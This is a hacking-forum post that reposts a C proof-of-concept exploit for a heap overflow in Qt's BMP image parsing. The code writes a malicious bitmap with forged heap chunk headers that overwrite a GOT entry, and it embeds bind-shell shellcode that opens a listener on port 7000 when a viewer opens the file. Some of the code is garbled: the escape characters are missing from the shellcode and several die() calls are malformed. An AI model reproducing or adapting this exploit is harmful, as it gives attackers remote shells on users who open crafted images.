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Asasinu / Exploituri / EXPLOIT: Qt bmp heap overflow Moderat de Marius93, lypanu06
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EXPLOIT: Qt bmp heap overflow


/*
*  heap overflow exploit for qt bmp parsing bug
*  infamous42md AT hotpop DOT com
*
*  shouts to mitakeet, MB, and peeps @hackaholic
*
*  ok, pretty standard heap overflow here. we spill across our chunk and
*  overwrite the boundary tag for next chunk.  the only problems i had was
*  finding a miserable jump slot to overwrite.  i thought i could just
*  overwrite malloc jump slot, but umm, well i'm not sure how to get the jump
*  slot for malloc from the shared library file.  it is some sort of offset
*  from somewhere, and i'm not sure where.  using the malloc jump slot from the
*  program you're exploiting doesn't seem to work.  sorry i'm not an expert on
*  linking and loading yet, maybe after i read the 'linker loader' book next
*  semester i will be... but perhaps someone could explain this to me?  so
*  anyways, instead i hijacked QWidget::setCaption() jump slot.  and how did i
*  find that? well, it sure wasn't a 1337 way.  i dumped the GOT in gdb until i
*  found the address.  so the below adddress is for Qt multithreaded 3.3.2. i'm
*  sure it is different for other machines/platforms, so you'll need to do some
*  digging i'm guessing.  the program i used to test all this was qvv image
*  viewer b/c it was small and didn't take 37 hours to d/l like Konqueror would
*  of.  obviously the heap layout is going to vary greatly from program to
*  program, and depending on at what point in a given program the bmp is
*  loaded, so i can't see this being a very reliable way to exploit.  rather
*  just a POC.
*
* E-mail] netstat -ant | grep 7000
* E-mail] gcc -Wall haqt.c
* E-mail] ./a.out 0x80be9f8 8
* E-mail] ./qvv suckit.bmp
* E-mail] netstat -ant | grep 7000
* tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN     
* E-mail] ./a.out
*         Usage: ./a.out < retaddr > [ align ]
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>


#define RETLOC 0x808cd0c    /* jump slot for QWidget::setCaption */
#define ALIGN 8
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define NCHUNK_BYTES 100

/*  a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
    u_char  type[2];
    u_int   bfsize,
            reserved,
            offbits,    /* BMP_FILEHDR_SIZE */
            bisize,     /* 40 */
            width,      /* 8 */
            height;     /* 18 */
    u_short planes,     /* 1 */
            bitcount;   /* 8 */
    u_int   compres,    /* 1 */
            szimg,
            xppm,
            ypppm,
            clrused,    /* 1 */
            clrimportant;
} __attribute__ ((packed));


/*  a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
    size_t  prevsz;
    size_t  sz;
    long    fd;
    long    bk;
} mchunk_t;


/* call them on port 7000, mine, and needs to lose some weight */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"xebx0a""1234567890"  /* jump */
"x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
"xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
"x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
"x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
"xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
"x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
"x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80xa1x5fx66x6ex69";
   

void make_bmp(char *buf, int len)
{
    int fd = 0;

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
        die("open";
   
    if(write(fd, buf, len) < 0)
        die("write";

    close(fd);
}

/*
*
*/
int main(int argc, char **argv)
{
    int len = 0, x = 0, align = ALIGN;
    char    buf[BS];
    u_long  retaddr;
    struct bmp   bmp;
    mchunk_t    chunk;

    if(argc < 2){
        fprintf(stderr, "tUsage: %s < retaddr > [ align ]n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2){
        align = atoi(argv[2]);
        if(align < 0 || align > 15)
            die("get bent bitch";
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* setup bitmap header info */
    memset(&bmp, 0, BMP_HDR_SZ);
    bmp.type[0] = 'B', bmp.type[1] = 'M';
    bmp.bfsize = 3126;
    bmp.bisize = 40;
    bmp.planes = 1;
    bmp.bitcount = 8;
    bmp.compres = 1;
    bmp.clrused = 1;
    bmp.width = 8;
    bmp.height = 18;
   
    /* and the chunk */
    chunk.prevsz = 224;
    chunk.sz = 0xfffffffc;
    chunk.fd = RETLOC - 12;
    chunk.bk = retaddr;

    /* and now setup the buffer */
    memcpy(buf, &bmp, BMP_HDR_SZ);
    len += BMP_HDR_SZ;

    /* to pass some checks */
    len += 4;           /* the color table */
    buf[len++] = 0;     /* to pass the if() */
    buf[len++] = 0xff;  /* overwrite len */

    /*
     * and now the fun begins:
     * first splatter the chunks, then the shellcode
     */
    len += align;
    for(x = 0; x < NCHUNK_BYTES-CHUNKSZ-1; x += CHUNKSZ)
        memcpy(buf+len+x, &chunk, CHUNKSZ);
    len += x;
    memcpy(buf+len, remote, SHELL_LEN);
    len += SHELL_LEN;

    make_bmp(buf, len);
    return 0;
}


--
-sean


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